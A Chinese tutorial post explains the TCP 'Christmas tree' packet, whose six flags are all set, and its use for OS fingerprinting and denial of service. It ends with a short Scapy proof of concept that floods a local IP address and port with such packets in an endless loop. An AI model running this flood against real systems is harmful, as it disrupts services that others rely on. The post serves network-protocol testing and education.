【网络协议测试】畸形数据包——圣诞树攻击(DOS攻击)

简介

TCP所有标志位被设置为1的数据包被称为圣诞树数据包(XMas Tree packet),之所以叫这个名是因为这些标志位就像圣诞树上灯一样全部被点亮。

标志位介绍

TCP报文格式:

控制标志(Control Bits)共6个bit位,分别为URG、ACK、PSH、RST、SYN、FIN。

标志位 说明
URG 高优先级数据包
ACK 确认连接
PSH 要求对方数据尽快达到应用层
RST 重置或拒绝连接
SYN 连接请求(SYN=1)或连接接受报文(SYN=1,ACK=1)
FIN 数据发送完毕,请求释放连接

当你发送了这样一个数据包之后,不同的操作系统对其的响应方式是不一样的,因此可以作为目标系统探测的一种方式(6个标志全部为0 ,如果端口是关闭的,Windows机器将应答一个RST | ACK消息,而对于一个开放端口的Linux和UNIX机器则不会应答。)。

此外,通常来说,目标系统需要对这个数据包进行更复杂的处理(毕竟点的灯比较多),相比一般的包处理耗费的资源会更多,因此也可以用作DOS攻击。

附Poc:

python 复制代码
from scapy.all import *
pkt_tree=IP(dst='192.168.1.2')/TCP(dport=8081,flags=0x03f)
while True:
	send(pkt_tree)
相关推荐
程序员雷欧4 小时前
大厂计算机网络面试高频题
计算机网络·面试·职场和发展
Yang96116 小时前
无损精准查缆:鼎讯 G-340A 在铁路高速场景的应用
网络·信息与通信
开开心心就好6 小时前
免费流畅的远程控制实用工具
linux·运维·服务器·网络·智能手机·excel
yyuuuzz8 小时前
aws的核心概念与常见使用场景
运维·服务器·网络·云计算·aws
KivenMitnick9 小时前
LovelyERes:AWD适用的蓝队综合工具
运维·安全·网络安全
ElevenS_it1889 小时前
网络没完全断但业务已经受影响:「灰色故障」排查的完整方法论
运维·服务器·网络
liudanzhengxi9 小时前
CRM系统技术文章
linux·服务器·网络·人工智能·新人首发
威联通安全存储11 小时前
制造业数据防勒索:QNAP 快照与 WORM 实践
网络·python
其实防守也摸鱼12 小时前
ctfshow--Crypto(funnyrsa1-密码2)解题步骤
python·安全·web安全·网络安全·密码学·web·工具
号码认证服务13 小时前
客户看到来电显示公司名会更愿意接听吗?企业号码认证提升ROI
服务器·网络·c++·经验分享·智能手机·云计算·php